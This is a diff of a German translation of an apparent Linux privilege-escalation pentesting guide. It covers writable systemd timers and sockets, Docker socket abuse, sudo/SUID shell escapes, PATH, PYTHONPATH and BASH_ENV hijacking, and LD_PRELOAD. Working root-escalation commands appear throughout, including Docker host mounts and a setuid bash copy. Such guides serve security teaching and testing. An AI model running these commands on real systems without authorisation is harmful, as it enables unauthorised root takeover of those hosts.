systemd-Unit-Dateien, deren Name auf `**.timer**` endet und die `**.service**`-Dateien oder Ereignisse steuern. **Timers** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können. +**Timers** sind systemd-Unit-Dateien, deren Name auf `**.timer**` endet, die `**.service**`-Dateien oder Ereignisse steuern. **Timers** können als Alternative zu cron verwendet werden, da sie eingebaute Unterstützung für kalenderbasierte Zeitereignisse und monotone Zeitereignisse bieten und asynchron ausgeführt werden können. -Du kannst alle Timer mit auflisten: +Du kannst alle Timer mit folgendem Befehl auflisten: ```bash systemctl list-timers --all ``` -### Beschreibbare Timer +### Schreibbare Timer -Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene systemd.unit (wie eine `.service` oder eine `.target`) auszuführen. +Wenn du einen Timer ändern kannst, kannst du ihn dazu bringen, einige vorhandene Einheiten von systemd.unit auszuführen (wie eine `.service` oder eine `.target`) ```bash Unit=backdoor.service ``` -In der Dokumentation können Sie lesen, was die Unit ist: +In der Dokumentation können Sie nachlesen, was eine Unit ist: -> The unit to activate when this timer elapses. The argument is a unit name, whose suffix is not ".timer". If not specified, this value defaults to a service that has the same name as the timer unit, except for the suffix. (See above.) It is recommended that the unit name that is activated and the unit name of the timer unit are named identically, except for the suffix. +> Die Unit, die aktiviert wird, wenn dieser Timer abläuft. Das Argument ist ein Unit-Name, dessen Suffix nicht ".timer" ist. Falls nicht angegeben, ist dieser Wert standardmäßig ein Service, der denselben Namen wie die Timer-Unit hat, abgesehen vom Suffix. (Siehe oben.) Es wird empfohlen, dass der Unit-Name, der aktiviert wird, und der Unit-Name der Timer-Unit identisch benannt sind, abgesehen vom Suffix. -Daher müssten Sie, um diese Berechtigung auszunutzen: +Daher müssten Sie, um diese Berechtigung auszunutzen, Folgendes tun: -- Finden Sie eine systemd Unit (wie eine `.service`), die **executing a writable binary** -- Finden Sie eine systemd Unit, die **executing a relative path** ist und auf deren **systemd PATH** Sie **writable privileges** haben (um dieses executable zu impersonate) +- Finden Sie eine systemd unit (wie eine `.service`), die eine **beschreibbare Binärdatei ausführt** +- Finden Sie eine systemd unit, die einen **relativen Pfad ausführt** und über **Schreibrechte** am **systemd PATH** verfügt (um diese ausführbare Datei zu ersetzen) -**Erfahren Sie mehr über Timer mit `man systemd.timer`.** +**Mehr über Timer erfahren Sie mit `man systemd.timer`.** ### **Timer aktivieren** -Um einen Timer zu aktivieren, benötigen Sie root privileges und müssen Folgendes ausführen: +Um einen Timer zu aktivieren, benötigen Sie root-Rechte und müssen folgendes ausführen: ```bash sudo systemctl enable backu2.timer Created symlink /etc/systemd/system/multi-user.target.wants/backu2.timer → /lib/systemd/system/backu2.timer. @@ -495,28 +495,28 @@ Beachte, dass der **timer** durch das Erstellen eines Symlinks zu ihm unter `/et ## Sockets -Unix Domain Sockets (UDS) ermöglichen **Prozesskommunikation** auf demselben oder unterschiedlichen Rechnern innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Deskriptordateien für die Zwischenrechnerkommunikation und werden über `.socket`-Dateien eingerichtet. +Unix Domain Sockets (UDS) ermöglichen die **Prozesskommunikation** auf derselben oder auf unterschiedlichen Maschinen innerhalb von Client-Server-Modellen. Sie nutzen standardmäßige Unix-Descriptor-Dateien für die Kommunikation zwischen Computern und werden über `.socket`-Dateien eingerichtet. Sockets können mit `.socket`-Dateien konfiguriert werden. -**Mehr über Sockets mit `man systemd.socket` erfahren.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: +**Erfahre mehr über sockets mit `man systemd.socket`.** In dieser Datei können mehrere interessante Parameter konfiguriert werden: -- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen unterscheiden sich, aber zusammenfassend werden sie verwendet, um **anzugeben, worauf der Socket lauschen wird** (Pfad der AF_UNIX-Socket-Datei, IPv4/6- und/oder Portnummer, etc.) -- `Accept`: Nimmt ein boolesches Argument. Wenn **true**, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur der Verbindungs-Socket an diese übergeben. Wenn **false**, werden alle Listening-Sockets selbst an die gestartete Service-Unit **übergeben**, und es wird nur eine Service-Unit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, bei denen eine einzelne Service-Unit bedingungslos den gesamten eingehenden Verkehr verarbeitet. **Standardmäßig false**. Aus Leistungsgründen wird empfohlen, neue Daemons so zu schreiben, dass sie `Accept=no` unterstützen. -- `ExecStartPre`, `ExecStartPost`: Nimmt eine oder mehrere Befehlszeilen, die jeweils **ausgeführt werden bevor** bzw. **nachdem** die listening **sockets**/FIFOs **erstellt** und gebunden werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. -- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die jeweils **ausgeführt werden bevor** bzw. **nachdem** die listening **sockets**/FIFOs **geschlossen** und entfernt werden. -- `Service`: Gibt den Namen der **service**-Unit an, die bei **eingehendem Verkehr** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Sie ist standardmäßig auf den Service eingestellt, der denselben Namen wie der Socket trägt (mit entsprechend ersetzter Suffix). In den meisten Fällen sollte es nicht nötig sein, diese Option zu verwenden. +- `ListenStream`, `ListenDatagram`, `ListenSequentialPacket`, `ListenFIFO`, `ListenSpecial`, `ListenNetlink`, `ListenMessageQueue`, `ListenUSBFunction`: Diese Optionen unterscheiden sich, aber zusammenfassend werden sie verwendet, um **anzugeben, wo gelauscht wird** (der Pfad der AF_UNIX-Socket-Datei, die IPv4/6-Adresse und/oder Portnummer, auf die gelauscht wird, etc.). +- `Accept`: Nimmt ein boolean-Argument. Ist es **true**, wird für jede eingehende Verbindung eine **Service-Instanz erzeugt** und nur die Verbindungs-Socket an diese übergeben. Ist es **false**, werden alle Listening-Sockets selbst an die gestartete Service-Unit übergeben, und es wird nur eine Service-Unit für alle Verbindungen erzeugt. Dieser Wert wird für Datagram-Sockets und FIFOs ignoriert, wo eine einzelne Service-Unit bedingungslos allen eingehenden Verkehr behandelt. **Standardmäßig false**. Aus Leistungsgründen wird empfohlen, neue Daemons so zu schreiben, dass sie für `Accept=no` geeignet sind. +- `ExecStartPre`, `ExecStartPost`: Akzeptiert eine oder mehrere Befehlszeilen, die jeweils **ausgeführt werden, bevor** bzw. **nachdem** die Listening-**sockets**/FIFOs **erstellt** und gebunden werden. Das erste Token der Befehlszeile muss ein absoluter Dateiname sein, gefolgt von Argumenten für den Prozess. +- `ExecStopPre`, `ExecStopPost`: Zusätzliche **Befehle**, die jeweils **ausgeführt werden, bevor** bzw. **nachdem** die Listening-**sockets**/FIFOs **geschlossen** und entfernt werden. +- `Service`: Legt den Namen der **service**-Unit fest, die bei **eingehendem Traffic** **aktiviert** werden soll. Diese Einstellung ist nur für Sockets mit Accept=no erlaubt. Standardmäßig ist es der Dienst, der denselben Namen wie die Socket trägt (mit ersetzter Endung). In den meisten Fällen ist es nicht notwendig, diese Option zu verwenden. ### Schreibbare .socket-Dateien -Wenn Sie eine **beschreibbare** `.socket`-Datei finden, können Sie am Anfang der `[Socket]`-Sektion etwas wie `ExecStartPre=/home/kali/sys/backdoor` **hinzufügen** und die Backdoor wird ausgeführt, bevor der Socket erstellt wird. Daher müssen Sie **wahrscheinlich warten, bis die Maschine neu gestartet wird.**\ -_Note that the system must be using that socket file configuration or the backdoor won't be executed_ +Wenn du eine **schreibbare** `.socket`-Datei findest, kannst du am Anfang der `[Socket]`-Sektion etwas wie `ExecStartPre=/home/kali/sys/backdoor` **hinzufügen**, und die Backdoor wird ausgeführt, bevor die Socket erstellt wird. Daher wirst du **wahrscheinlich warten müssen, bis die Maschine neu gebootet wird.**\ +_Notiere, dass das System diese Socket-Dateikonfiguration verwenden muss, sonst wird die Backdoor nicht ausgeführt_ -### Schreibbare Sockets +### Schreibbare sockets -Wenn Sie **einen beschreibbaren Socket identifizieren** (_hier sprechen wir jetzt von Unix Sockets und nicht von den Konfig-`.socket`-Dateien_), dann **können Sie mit diesem Socket kommunizieren** und möglicherweise eine Schwachstelle ausnutzen. +Wenn du einen **schreibbaren Socket** findest (_hier geht es jetzt um Unix Sockets und nicht um die Konfigurations-`.socket`-Dateien_), dann **kannst du mit diesem Socket kommunizieren** und möglicherweise eine Verwundbarkeit ausnutzen. -### Unix Sockets auflisten +### Auflisten von Unix Sockets ```bash netstat -a -p --unix ``` @@ -538,48 +538,48 @@ socket-command-injection.md ### HTTP sockets -Beachte, dass es möglicherweise einige sockets gibt, die auf HTTP requests lauschen (_ich spreche nicht von .socket files, sondern von Dateien, die als unix sockets fungieren_). Du kannst das mit folgendem Befehl prüfen: +Beachte, dass es einige **sockets listening for HTTP** requests geben kann (_ich meine nicht .socket files, sondern Dateien, die als unix sockets fungieren_). Du kannst das mit folgendem Befehl prüfen: ```bash curl --max-time 2 --unix-socket /pat/to/socket/files http:/index ``` -If the socket **responds with an HTTP** request, then you can **communicate** with it and maybe **exploit some vulnerability**. +Wenn der Socket **responds with an HTTP** request, dann kannst du mit ihm **communicate** und vielleicht **exploit some vulnerability**. ### Beschreibbarer Docker Socket -Der Docker socket, häufig zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist sie für den `root`-Benutzer und Mitglieder der `docker`-Gruppe beschreibbar. Besitz von write access zu diesem socket kann zu privilege escalation führen. Hier ist eine Aufschlüsselung, wie dies durchgeführt werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. +Der Docker socket, häufig zu finden unter `/var/run/docker.sock`, ist eine kritische Datei, die gesichert werden sollte. Standardmäßig ist sie vom `root`-Benutzer und Mitgliedern der `docker`-Gruppe beschreibbar. Das Vorhandensein von write access zu diesem Socket kann zu privilege escalation führen. Hier eine Aufschlüsselung, wie das gemacht werden kann und alternative Methoden, falls die Docker CLI nicht verfügbar ist. #### **Privilege Escalation with Docker CLI** -Wenn Sie write access zum Docker socket haben, können Sie escalate privileges mit den folgenden Befehlen: +Wenn du write access auf den Docker socket hast, kannst du escalate privileges mit den folgenden Befehlen: ```bash docker -H unix:///var/run/docker.sock run -v /:/host -it ubuntu chroot /host /bin/bash docker -H unix:///var/run/docker.sock run -it --privileged --pid=host debian nsenter -t 1 -m -u -n -i sh ``` -Diese Befehle ermöglichen es, einen Container zu starten, der root-Zugriff auf das Dateisystem des Hosts hat. +Diese Befehle erlauben es Ihnen, einen Container mit Root-Zugriff auf das Dateisystem des Hosts zu starten. -#### **Docker API direkt verwenden** +#### **Direkte Verwendung der Docker API** -Wenn das Docker CLI nicht verfügbar ist, kann der Docker-Socket trotzdem mittels Docker API und `curl`-Befehlen manipuliert werden. +In Fällen, in denen die Docker CLI nicht verfügbar ist, kann der Docker-Socket weiterhin über die Docker API und `curl`-Befehle manipuliert werden. -1. **List Docker Images:** Retrieve the list of available images. +1. **Docker-Images auflisten:** Holen Sie die Liste der verfügbaren Images. ```bash curl -XGET --unix-socket /var/run/docker.sock http://localhost/images/json ``` -2. **Create a Container:** Send a request to create a container that mounts the host system's root directory. +2. **Einen Container erstellen:** Senden Sie eine Anfrage, um einen Container zu erstellen, der das Root-Verzeichnis des Hosts einbindet. ```bash curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d '{"Image":"","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/","Target":"/host_root"}]}' http://localhost/containers/create ``` -Start the newly created container: +Starten Sie den neu erstellten Container: ```bash curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers//start ``` -3. **Attach to the Container:** Use `socat` to establish a connection to the container, enabling command execution within it. +3. **An den Container anhängen:** Verwenden Sie `socat`, um eine Verbindung zum Container herzustellen, wodurch die Ausführung von Befehlen darin möglich wird. ```bash socat - UNIX-CONNECT:/var/run/docker.sock @@ -589,11 +589,11 @@ Connection: Upgrade Upgrade: tcp ``` -Nach dem Einrichten der `socat`-Verbindung können Sie Befehle direkt im Container ausführen und haben root-Zugriff auf das Dateisystem des Hosts. +Nachdem die `socat`-Verbindung hergestellt wurde, können Sie Befehle direkt im Container mit Root-Zugriff auf das Dateisystem des Hosts ausführen. -### Others +### Andere -Beachte, dass wenn du Schreibrechte auf den docker-Socket hast, weil du **inside the group `docker`** bist, du [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group) hast. Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). +Beachten Sie, dass wenn Sie Schreibberechtigungen für den docker-Socket haben, weil Sie **in der Gruppe `docker`** sind, Sie [**more ways to escalate privileges**](interesting-groups-linux-pe/index.html#docker-group). Wenn die [**docker API is listening in a port** you can also be able to compromise it](../../network-services-pentesting/2375-pentesting-docker.md#compromising). Siehe **more ways to break out from docker or abuse it to escalate privileges** in: @@ -622,15 +622,15 @@ runc-privilege-escalation.md ## **D-Bus** -D-Bus ist ein ausgeklügeltes **inter-Process Communication (IPC) system**, das Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Es wurde für moderne Linux-Systeme entwickelt und bietet ein robustes Framework für verschiedene Formen der Anwendungskommunikation. +D-Bus ist ein ausgeklügeltes Interprozess-Kommunikationssystem (IPC), das Anwendungen ermöglicht, effizient zu interagieren und Daten auszutauschen. Für moderne Linux-Systeme konzipiert, bietet es ein robustes Framework für verschiedene Formen der Anwendungs-Kommunikation. -Das System ist vielseitig und unterstützt grundlegendes IPC, das den Datenaustausch zwischen Prozessen verbessert, ähnlich wie erweiterte UNIX Domain Sockets. Außerdem hilft es beim Broadcasten von Events oder Signalen und fördert so die nahtlose Integration von Systemkomponenten. Zum Beispiel kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten, um das Benutzererlebnis zu verbessern. Zusätzlich unterstützt D-Bus ein Remote-Objekt-System, das Service-Anfragen und Methodenaufrufe zwischen Anwendungen vereinfacht und Prozesse rationalisiert, die traditionell komplex waren. +Das System ist vielseitig und unterstützt grundlegende IPC, die den Datenaustausch zwischen Prozessen verbessert, vergleichbar mit erweiterten UNIX-Domain-Sockets. Darüber hinaus hilft es beim Broadcasten von Events oder Signalen, was eine nahtlose Integration von Systemkomponenten fördert. Zum Beispiel kann ein Signal eines Bluetooth-Daemons über einen eingehenden Anruf einen Musikplayer stummschalten und so das Benutzererlebnis verbessern. Außerdem unterstützt D-Bus ein Remote-Object-System, das Service-Anfragen und Methodenausführungen zwischen Anwendungen vereinfacht und Prozesse optimiert, die traditionell komplex waren. -D-Bus arbeitet nach einem **allow/deny model**, das Nachrichtenberechtigungen (Methodenaufrufe, Signal-Emissionen usw.) basierend auf der kumulativen Wirkung übereinstimmender Policy-Regeln verwaltet. Diese Policies spezifizieren Interaktionen mit dem Bus und können durch Ausnutzung dieser Berechtigungen potenziell zu privilege escalation führen. +D-Bus arbeitet nach einem **allow/deny model**, wobei Nachrichtenberechtigungen (Methodenaufrufe, Signalübertragungen usw.) basierend auf der kumulativen Wirkung übereinstimmender Richtlinienregeln verwaltet werden. Diese Richtlinien legen Interaktionen mit dem Bus fest und können unter Umständen eine privilege escalation ermöglichen, wenn diese Berechtigungen ausgenutzt werden. -Ein Beispiel für eine solche Policy in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird gezeigt und beschreibt Berechtigungen für den root-Benutzer, Eigentümer zu sein sowie Nachrichten an `fi.w1.wpa_supplicant1` zu senden und von diesem zu empfangen. +Ein Beispiel für eine solche Richtlinie in `/etc/dbus-1/system.d/wpa_supplicant.conf` wird gezeigt und beschreibt Berechtigungen, die es dem root-Benutzer ermöglichen, `fi.w1.wpa_supplicant1` zu besitzen, Nachrichten an diese zu senden und von dieser zu empfangen. -Policies ohne spezifizierten Benutzer oder Gruppe gelten universell, während "default"-Kontext-Policies für alle gelten, die nicht durch andere spezifische Policies abgedeckt sind. +Richtlinien ohne angegebenen Benutzer oder Gruppe gelten universell, während "default"-Kontext-Richtlinien für alle gelten, die nicht durch andere spezifische Richtlinien abgedeckt sind. ```xml @@ -639,7 +639,7 @@ Policies ohne spezifizierten Benutzer oder Gruppe gelten universell, während "d ``` -**Erfahre hier, wie man eine D-Bus-Kommunikation enumerate und exploit:** +**Lerne hier, wie man eine D-Bus-Kommunikation enumerate und exploit:** {{#ref}} @@ -675,22 +675,22 @@ lsof -i ``` ### Offene Ports -Überprüfe immer die Netzwerkdienste, die auf der Maschine laufen und mit denen du vor dem Zugriff nicht interagieren konntest: +Prüfe immer Netzwerkdienste, die auf der Maschine laufen und mit denen du vor dem Zugriff nicht interagieren konntest: ```bash (netstat -punta || ss --ntpu) (netstat -punta || ss --ntpu) | grep "127.0" ``` ### Sniffing -Prüfe, ob du traffic sniffen kannst. Wenn ja, könntest du einige credentials abgreifen. +Überprüfe, ob du Traffic sniffen kannst. Wenn ja, könntest du einige Credentials grabben. ``` timeout 1 tcpdump ``` ## Benutzer -### Generic Enumeration +### Generische Enumeration -Prüfe **wer** du bist, welche **Privilegien** du hast, welche **Benutzer** im System sind, welche sich per **login** anmelden können und welche **root privileges** haben: +Überprüfe, **wer** du bist, welche **Privilegien** du hast, welche **Benutzer** im System vorhanden sind, welche sich **anmelden** können und welche **root-Rechte** haben: ```bash #Info about me id || (whoami && groups) 2>/dev/null @@ -715,11 +715,11 @@ gpg --list-keys 2>/dev/null ### Große UID Einige Linux-Versionen waren von einem Bug betroffen, der es Benutzern mit **UID > INT_MAX** ermöglicht, Privilegien zu eskalieren. More info: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) and [here](https://twitter.com/paragonsec/status/1071152249529884674).\ -**Exploit it** using: **`systemd-run -t /bin/bash`** +**Ausnutzen mit:** **`systemd-run -t /bin/bash`** ### Gruppen -Prüfe, ob du Mitglied einer **Gruppe** bist, die dir root Privilegien gewähren könnte: +Prüfe, ob du Mitglied einer **Gruppe** bist, die dir root-Rechte gewähren könnte: {{#ref}} @@ -728,7 +728,7 @@ interesting-groups-linux-pe/ ### Zwischenablage -Prüfe, ob sich etwas Interessantes in der Zwischenablage befindet (wenn möglich) +Überprüfe, ob sich etwas Interessantes in der Zwischenablage befindet (falls möglich) ```bash if [ `which xclip 2>/dev/null` ]; then echo "Clipboard: "`xclip -o -selection clipboard 2>/dev/null` @@ -739,33 +739,33 @@ echo "Highlighted text: "`xsel -o 2>/dev/null` else echo "Not found xsel and xclip" fi ``` -### Passwort-Richtlinie +### Passwortrichtlinie ```bash grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/login.defs ``` ### Bekannte Passwörter -Wenn du **ein Passwort der Umgebung kennst**, **versuche, dich mit diesem Passwort als jeden Benutzer anzumelden**. +Wenn du **irgendein Passwort** der Umgebung kennst, **versuche dich mit diesem Passwort bei jedem Benutzer einzuloggen**. ### Su Brute -Wenn es dir nichts ausmacht, viel Lärm zu verursachen und die `su` und `timeout` Binaries auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) zu brute-forcen.\ -[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) mit dem `-a` Parameter versucht ebenfalls, Benutzer zu brute-forcen. +Wenn es dir nichts ausmacht, viel Lärm zu erzeugen, und die Binaries `su` und `timeout` auf dem Rechner vorhanden sind, kannst du versuchen, Benutzer per brute-force mit [su-bruteforce](https://github.com/carlospolop/su-bruteforce) anzugreifen.\ +[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite) versucht mit dem Parameter `-a` ebenfalls, Benutzer per brute-force anzugreifen. -## Missbrauch beschreibbarer PATHs +## Ausnutzung beschreibbarer $PATH ### $PATH -Wenn du feststellst, dass du **in einen Ordner des $PATH schreiben kannst**, könntest du die Privilegien eskalieren, indem du **eine Backdoor in dem beschreibbaren Ordner erstellst**, die den Namen eines Kommandos trägt, das von einem anderen Benutzer (idealerweise root) ausgeführt wird und das **nicht aus einem Ordner geladen wird, der in $PATH vor deinem beschreibbaren Ordner liegt**. +Wenn du feststellst, dass du **in einen Ordner des $PATH schreiben kannst**, könntest du möglicherweise Privilegien eskalieren, indem du **eine backdoor im beschreibbaren Ordner erstellst**, die den Namen eines Kommandos trägt, das von einem anderen Benutzer (idealerweise root) ausgeführt wird und das **nicht aus einem Verzeichnis geladen wird, das vor** deinem beschreibbaren Ordner im $PATH steht. -### SUDO and SUID +### SUDO und SUID -Du könntest berechtigt sein, einige Befehle mit sudo auszuführen, oder sie könnten das suid-Bit gesetzt haben. Überprüfe es mit: +Du könntest berechtigt sein, ein Kommando mit sudo auszuführen, oder Dateien könnten das suid-Bit gesetzt haben. Überprüfe es mit: ```bash sudo -l #Check commands you can execute with sudo find / -perm -4000 2>/dev/null #Find all SUID binaries ``` -Einige **unerwartete Befehle erlauben Ihnen, Dateien zu lesen und/oder zu schreiben oder sogar einen Befehl auszuführen.** Zum Beispiel: +Manche **unerwarteten Befehle erlauben es, Dateien zu lesen und/oder zu schreiben oder sogar Befehle auszuführen.** Zum Beispiel: ```bash sudo awk 'BEGIN {system("/bin/sh")}' sudo find /etc -exec sh -i \; @@ -776,37 +776,37 @@ less>! ``` ### NOPASSWD -Sudo-Konfiguration kann einem Benutzer ermöglichen, einen Befehl mit den Rechten eines anderen Benutzers auszuführen, ohne das Passwort zu kennen. +Die Sudo-Konfiguration könnte es einem Benutzer erlauben, einen Befehl mit den Privilegien eines anderen Benutzers auszuführen, ohne das Passwort zu kennen. ``` $ sudo -l User demo may run the following commands on crashlab: (root) NOPASSWD: /usr/bin/vim ``` -In diesem Beispiel kann der Benutzer `demo` `vim` als `root` ausführen; es ist nun trivial, eine Shell zu erhalten, indem man einen ssh key in das root-Verzeichnis hinzufügt oder `sh` aufruft. +In diesem Beispiel kann der Benutzer `demo` `vim` als `root` ausführen, es ist nun trivial, eine Shell zu erhalten, indem man einen ssh key in das Root-Verzeichnis hinzufügt oder `sh` aufruft. ``` sudo vim -c '!sh' ``` ### SETENV -Diese Direktive erlaubt es dem Benutzer, beim Ausführen von etwas **eine Umgebungsvariable zu setzen**: +Diese Direktive erlaubt dem Benutzer, **eine Umgebungsvariable zu setzen**, während er etwas ausführt: ```bash $ sudo -l User waldo may run the following commands on admirer: (ALL) SETENV: /opt/scripts/admin_tasks.sh ``` -Dieses Beispiel, **based on HTB machine Admirer**, war **vulnerable** gegenüber **PYTHONPATH hijacking**, um eine beliebige python library zu laden, während das Skript als root ausgeführt wurde: +Dieses Beispiel, **basierend auf der HTB-Maschine Admirer**, war **anfällig** für **PYTHONPATH hijacking**, um eine beliebige python-Bibliothek zu laden, während das Skript als root ausgeführt wurde: ```bash sudo PYTHONPATH=/dev/shm/ /opt/scripts/admin_tasks.sh ``` ### BASH_ENV erhalten durch sudo env_keep → root shell -Wenn sudoers `BASH_ENV` beibehält (z. B. `Defaults env_keep+="ENV BASH_ENV"`), kannst du das nicht-interaktive Startverhalten von Bash ausnutzen, um beliebigen Code als root auszuführen, wenn du einen erlaubten Befehl aufrufst. +Wenn sudoers `BASH_ENV` beibehält (z. B. `Defaults env_keep+="ENV BASH_ENV"`), kannst du das nicht-interaktive Startup-Verhalten von Bash ausnutzen, um beliebigen Code als root auszuführen, wenn du einen erlaubten Befehl aufrufst. -- Why it works: Für nicht-interaktive Shells wertet Bash `$BASH_ENV` aus und liest diese Datei ein, bevor das Zielskript ausgeführt wird. Viele sudo-Regeln erlauben das Ausführen eines Skripts oder eines Shell-Wrappers. Wenn `BASH_ENV` von sudo beibehalten wird, wird deine Datei mit root-Rechten eingelesen. +- Why it works: For non-interactive shells, Bash evaluates `$BASH_ENV` and sources that file before running the target script. Many sudo rules allow running a script or a shell wrapper. If `BASH_ENV` is preserved by sudo, your file is sourced with root privileges. -- Anforderungen: -- Eine sudo-Regel, die du ausführen kannst (jeder Zielbefehl, der `/bin/bash` nicht-interaktiv aufruft, oder jedes bash-Skript). -- `BASH_ENV` in `env_keep` vorhanden (prüfe mit `sudo -l`). +- Requirements: +- A sudo rule you can run (any target that invokes `/bin/bash` non-interactively, or any bash script). +- `BASH_ENV` present in `env_keep` (check with `sudo -l`). - PoC: ```bash @@ -820,12 +820,12 @@ BASH_ENV=/dev/shm/shell.sh sudo /usr/bin/systeminfo # or any permitted script/ ``` - Hardening: - Entfernen Sie `BASH_ENV` (und `ENV`) aus `env_keep`, bevorzugen Sie `env_reset`. -- Vermeiden Sie Shell-Wrapper für sudo-allowed commands; verwenden Sie möglichst minimale Binärdateien. +- Vermeiden Sie Shell-Wrapper für von sudo erlaubte Befehle; verwenden Sie minimale Binaries. - Erwägen Sie sudo I/O-Logging und Alarmierung, wenn beibehaltene env vars verwendet werden. ### Sudo-Ausführungs-Umgehungspfade -**Springe**, um andere Dateien zu lesen, oder verwende **symlinks**. Zum Beispiel in der sudoers-Datei: _hacker10 ALL= (root) /bin/less /var/log/\*_ +**Springen Sie**, um andere Dateien zu lesen oder **symlinks** zu verwenden. Zum Beispiel in der sudoers-Datei: _hacker10 ALL= (root) /bin/less /var/log/\*_ ```bash sudo less /var/logs/anything less>:e /etc/shadow #Jump to read other files using privileged less @@ -842,9 +842,9 @@ sudo less /var/log/something /etc/shadow #Red 2 files ``` **Gegenmaßnahmen**: [https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/](https://blog.compass-security.com/2012/10/dangerous-sudoers-entries-part-5-recapitulation/) -### Sudo-Befehl/SUID-Binärdatei ohne Pfadangabe +### Sudo command/SUID binary ohne Pfad zum Befehl -Wenn die **sudo-Berechtigung** einem einzelnen Befehl **ohne Angabe des Pfads** zugewiesen ist: _hacker10 ALL= (root) less_ kann man dies ausnutzen, indem man die PATH-Variable ändert. +Wenn die **sudo permission** für einen einzelnen Befehl **ohne Angabe des Pfades** gewährt wird: _hacker10 ALL= (root) less_ kann man das ausnutzen, indem man die PATH-Variable ändert. ```bash export PATH=/tmp:$PATH #Put your backdoor in /tmp and name it "less" @@ -852,33 +852,33 @@ sudo less ``` Diese Technik kann auch verwendet werden, wenn ein **suid** binary **einen anderen Befehl ausführt, ohne den Pfad anzugeben (prüfe immer mit** _**strings**_ **den Inhalt eines seltsamen SUID binary)**). -[Payload examples to execute.](payloads-to-execute.md) +[Beispiele für Payloads zum Ausführen.](payloads-to-execute.md) -### SUID binary with command path +### SUID binary mit angegebenem Pfad zum Befehl -Wenn das **suid** binary **einen anderen Befehl ausführt, wobei der Pfad angegeben ist**, dann kannst du versuchen, eine **Funktion zu exportieren** mit dem Namen des Befehls, den die suid-Datei aufruft. +Wenn das **suid** binary **einen anderen Befehl mit angegebenem Pfad ausführt**, dann kannst du versuchen, **export a function** zu erstellen, die den Namen des vom suid-File aufgerufenen Befehls trägt. Zum Beispiel, wenn ein suid binary _**/usr/sbin/service apache2 start**_ aufruft, musst du versuchen, die Funktion zu erstellen und zu exportieren: ```bash function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } export -f /usr/sbin/service ``` -Wenn du dann das suid-Binary aufrufst, wird diese Funktion ausgeführt +Wenn man das suid binary aufruft, wird diese Funktion ausgeführt ### LD_PRELOAD & **LD_LIBRARY_PATH** -Die Umgebungsvariable **LD_PRELOAD** wird verwendet, um eine oder mehrere shared libraries (.so-Dateien) anzugeben, die vom Loader vor allen anderen geladen werden, einschließlich der standardmäßigen C-Bibliothek (`libc.so`). Dieser Prozess ist als Preloading einer Bibliothek bekannt. +Die Umgebungsvariable **LD_PRELOAD** wird verwendet, um eine oder mehrere shared libraries (.so-Dateien) anzugeben, die vom loader vor allen anderen, einschließlich der Standard-C-Bibliothek (`libc.so`), geladen werden sollen. Dieser Vorgang wird als Vorladen einer Bibliothek bezeichnet. -Um jedoch die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion ausgenutzt wird, insbesondere bei **suid/sgid**-Executables, setzt das System bestimmte Bedingungen durch: +Um die Systemsicherheit zu gewährleisten und zu verhindern, dass diese Funktion – insbesondere bei **suid/sgid**-ausführbaren Dateien – ausgenutzt wird, setzt das System jedoch bestimmte Bedingungen durch: -- Der Loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die reale Benutzer-ID (_ruid_) nicht mit der effektiven Benutzer-ID (_euid_) übereinstimmt. -- Bei Executables mit suid/sgid werden nur Bibliotheken in Standardpfaden vorgeladen, die ebenfalls suid/sgid sind. +- Der loader ignoriert **LD_PRELOAD** für ausführbare Dateien, bei denen die real user ID (_ruid_) nicht mit der effective user ID (_euid_) übereinstimmt. +- Bei ausführbaren Dateien mit suid/sgid werden nur Bibliotheken in Standardpfaden vorgeladen, die ebenfalls suid/sgid sind. -Privilege escalation kann auftreten, wenn du die Möglichkeit hast, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Aussage **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt, dass die Umgebungsvariable **LD_PRELOAD** erhalten bleibt und auch bei Ausführung von Befehlen mit `sudo` berücksichtigt wird, was potenziell zur Ausführung von beliebigem Code mit erhöhten Rechten führen kann. +Privilege Escalation kann auftreten, wenn du in der Lage bist, Befehle mit `sudo` auszuführen und die Ausgabe von `sudo -l` die Anweisung **env_keep+=LD_PRELOAD** enthält. Diese Konfiguration erlaubt, dass die Umgebungsvariable **LD_PRELOAD** erhalten bleibt und 